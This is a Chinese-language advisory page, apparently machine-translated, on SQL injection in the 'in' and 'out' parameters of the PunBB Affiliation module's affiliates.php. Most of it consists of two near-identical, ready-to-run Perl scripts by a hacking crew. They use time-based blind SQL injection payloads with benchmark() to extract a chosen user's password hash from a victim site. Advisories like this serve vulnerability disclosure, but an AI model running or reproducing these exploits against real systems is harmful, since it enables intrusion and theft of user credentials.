PunBB Affiliation Module SQL注入漏洞

软件: PunBB所属模块1.x的
描述:
有些漏洞已报告的模块PunBB ,可以利用此漏洞进行SQL注入攻击。

输入传递到“in”和“out”参数affiliates.php是没有正确地过滤,然后使用SQL查询。这可以被利用来操纵SQL查询通过注入任意SQL代码。

这个安全漏洞是在版本1.1.0 。其它版本也可能受到影响。
解决方案:
编辑的源代码,以确保输入是正确地过滤。

 

测试代码:

 

XML/HTML代码
  1. #!/usr/bin/perl   
  2. #[0-Day] PunBB Affiliations.php IN Mod <= v1.1 Remote Blind SQL Injection   
  3. Exploit   
  4. #Coded By Dante90, WaRWolFz Crew   
  5. #Bug Discovered By: Dante90 & UltraSound, WaRWolFz Crew   
  6.   
  7. use strict;   
  8. use LWP::UserAgent;   
  9.   
  10. use HTTP::Request::Common;   
  11. use Time::HiRes;   
  12. use IO::Socket;   
  13.   
  14. my ($Hash,$Time,$Time_Start,$Time_End,$Response);   
  15. my($Start,$End);   
  16. my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);   
  17. my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site   
  18. Link   
  19. my $id  = shift or &usage;   
  20. my $Method = HTTP::Request->new(GET => $Host);   
  21. my $HTTP = new LWP::UserAgent;   
  22. my $Referrer = "http://warwolfz.altervista.org/";   
  23. my $DefaultTime = request($Referrer);   
  24.   
  25. sub Blind_SQL_Jnjection{   
  26.     my ($dec,$hex) = @_;   
  27.     return "./affiliates.php?in=-1+OR+1!=(SELECT   
  28. IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0)   
  29. FROM `users` WHERE `id`=${id})/*";   
  30. }   
  31.   
  32. for(my $I=1; $I<=40; $I++){ #N Hash characters   
  33.     for(my $J=0; $J<=15; $J++){ #0 –> F   
  34.         $Time_Start = time();   
  35.         $HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J]));   
  36.         $Time_End = time();   
  37.         $Time = request($Referrer);   
  38.         refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);   
  39.         if($Time_End – $Time_Start > 6){   
  40.             $Time = request($Referrer);   
  41.             refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);   
  42.             if($Time_End – $Time_Start > 6){   
  43.                 syswrite(STDOUT,chr($chars[$J]));   
  44.                 $Hash .chr($chars[$J]);   
  45.                 $Time = request($Referrer);   
  46.                 refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);   
  47.                 last;   
  48.             }   
  49.         }   
  50.     }   
  51.     if($I == 1 && length $Hash < 0 && !$Hash){   
  52.         print " * Exploit Failed                                      *\n";   
  53.         print " —————————————————— \n";   
  54.         exit;   
  55.     }   
  56.     if($I == 40){   
  57.         print " * Exploit Successed                                   *\n";   
  58.         print " ——————————————————\n ";   
  59.         system("pause");   
  60.     }   
  61. }   
  62.   
  63. sub usage{   
  64.     system("cls");   
  65.     {   
  66.         print " \n [0-Day] PunBB Affiliations.php IN Mod <= v1.1 Remote   
  67. Blind SQL Injection Exploit\n";   
  68.         print " —————————————————— \n";   
  69.         print " * USAGE:                                             *\n";   
  70.         print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";   
  71.         print " * perl name_exploit.pl [id]                          *\n";   
  72.         print " —————————————————— \n";   
  73.         print " *         Powered By Dante90, WaRWolFz Crew          *\n";   
  74.         print " * www.warwolfz.org – dante90_founder[at]warwolfz.org *\n";   
  75.         print " —————————————————— \n";   
  76.     };   
  77.     exit;   
  78. }   
  79.   
  80. sub request{   
  81.     $Referrer = $_[0];   
  82.     $Method->referrer($Referrer);   
  83.     $Start = Time::HiRes::time();   
  84.     $Response = $HTTP->request($Method);   
  85.     $Response->is_success() or die "$Host : ", $Response->message,"\n";   
  86.     $End = Time::HiRes::time();   
  87.     $Time = $End – $Start;   
  88.     return $Time;   
  89. }   
  90.   
  91. sub refresh{   
  92.     system("cls");   
  93.     {   
  94.         print " \n [0-Day] PunBB Affiliations.php IN Mod <= v1.1 Remote   
  95. Blind SQL Injection Exploit\n";   
  96.         print " —————————————————— \n";   
  97.         print " * USAGE:                                             *\n";   
  98.         print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";   
  99.         print " * perl name_exploit.pl [uid]                         *\n";   
  100.         print " —————————————————— \n";   
  101.         print " *         Powered By Dante90, WaRWolFz Crew          *\n";   
  102.         print " * www.warwolfz.org – dante90_founder[at]warwolfz.org *\n";   
  103.         print " —————————————————— \n";   
  104.     };   
  105.     print " * Victime Site: " . $_[0] . "\n";   
  106.     print " * Default Time: " . $_[1] . " seconds\n";   
  107.     print " * BruteForcing Hash: " . chr($chars[$_[2]]) . "\n";   
  108.     print " * BruteForcing N Char Hash: " . $_[5] . "\n";   
  109.     print " * SQL Time: " . $_[4] . " seconds\n";   
  110.     print " * Hash: " . $_[3] . "\n";   
  111. }   
  112.   
  113. #WaRWolFz Crew   
  114.   
XML/HTML代码
  1. #!/usr/bin/perl   
  2. #[0-Day] PunBB Affiliations.php OUT Mod <= v1.1 Remote Blind SQL Injection   
  3. Exploit   
  4. #Coded By Dante90, WaRWolFz Crew   
  5. #Bug Discovered By: Dante90 & UltraSound, WaRWolFz Crew   
  6.   
  7. use strict;   
  8. use LWP::UserAgent;   
  9.   
  10. use HTTP::Request::Common;   
  11. use Time::HiRes;   
  12. use IO::Socket;   
  13.   
  14. my ($Hash,$Time,$Time_Start,$Time_End,$Response);   
  15. my($Start,$End);   
  16. my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);   
  17. my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site   
  18. Link   
  19. my $id  = shift or &usage;   
  20. my $Method = HTTP::Request->new(GET => $Host);   
  21. my $HTTP = new LWP::UserAgent;   
  22. my $Referrer = "http://warwolfz.altervista.org/";   
  23. my $DefaultTime = request($Referrer);   
  24.   
  25. sub Blind_SQL_Jnjection{   
  26.     my ($dec,$hex) = @_;   
  27.     return "./affiliates.php?out=-1+OR+1!=(SELECT   
  28. IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0)   
  29. FROM `users` WHERE `id`=${id})/*";   
  30. }   
  31.   
  32. for(my $I=1; $I<=40; $I++){ #N Hash characters   
  33.     for(my $J=0; $J<=15; $J++){ #0 –> F   
  34.         $Time_Start = time();   
  35.         $HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J]));   
  36.         $Time_End = time();   
  37.         $Time = request($Referrer);   
  38.         refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);   
  39.         if($Time_End – $Time_Start > 6){   
  40.             $Time = request($Referrer);   
  41.             refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);   
  42.             if($Time_End – $Time_Start > 6){   
  43.                 syswrite(STDOUT,chr($chars[$J]));   
  44.                 $Hash .chr($chars[$J]);   
  45.                 $Time = request($Referrer);   
  46.                 refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);   
  47.                 last;   
  48.             }   
  49.         }   
  50.     }   
  51.     if($I == 1 && length $Hash < 0 && !$Hash){   
  52.         print " * Exploit Failed                                      *\n";   
  53.         print " —————————————————— \n";   
  54.         exit;   
  55.     }   
  56.     if($I == 40){   
  57.         print " * Exploit Successed                                   *\n";   
  58.         print " ——————————————————\n ";   
  59.         system("pause");   
  60.     }   
  61. }   
  62.   
  63. sub usage{   
  64.     system("cls");   
  65.     {   
  66.         print " \n [0-Day] PunBB Affiliations.php OUT Mod <= v1.1 Remote   
  67. Blind SQL Injection Exploit\n";   
  68.         print " —————————————————— \n";   
  69.         print " * USAGE:                                             *\n";   
  70.         print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";   
  71.         print " * perl name_exploit.pl [id]                          *\n";   
  72.         print " —————————————————— \n";   
  73.         print " *         Powered By Dante90, WaRWolFz Crew          *\n";   
  74.         print " * www.warwolfz.org – dante90_founder[at]warwolfz.org *\n";   
  75.         print " —————————————————— \n";   
  76.     };   
  77.     exit;   
  78. }   
  79.   
  80. sub request{   
  81.     $Referrer = $_[0];   
  82.     $Method->referrer($Referrer);   
  83.     $Start = Time::HiRes::time();   
  84.     $Response = $HTTP->request($Method);   
  85.     $Response->is_success() or die "$Host : ", $Response->message,"\n";   
  86.     $End = Time::HiRes::time();   
  87.     $Time = $End – $Start;   
  88.     return $Time;   
  89. }   
  90.   
  91. sub refresh{   
  92.     system("cls");   
  93.     {   
  94.         print " \n [0-Day] PunBB Affiliations.php OUT Mod <= v1.1 Remote   
  95. Blind SQL Injection Exploit\n";   
  96.         print " —————————————————— \n";   
  97.         print " * USAGE:                                             *\n";   
  98.         print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";   
  99.         print " * perl name_exploit.pl [uid]                         *\n";   
  100.         print " —————————————————— \n";   
  101.         print " *         Powered By Dante90, WaRWolFz Crew          *\n";   
  102.         print " * www.warwolfz.org – dante90_founder[at]warwolfz.org *\n";   
  103.         print " —————————————————— \n";   
  104.     };   
  105.     print " * Victime Site: " . $_[0] . "\n";   
  106.     print " * Default Time: " . $_[1] . " seconds\n";   
  107.     print " * BruteForcing Hash: " . chr($chars[$_[2]]) . "\n";   
  108.     print " * BruteForcing N Char Hash: " . $_[5] . "\n";   
  109.     print " * SQL Time: " . $_[4] . " seconds\n";   
  110.     print " * Hash: " . $_[3] . "\n";   
  111. }   
  112.   
  113. #WaRWolFz Crew   
  114.   
发表评论?

0 条评论。

发表评论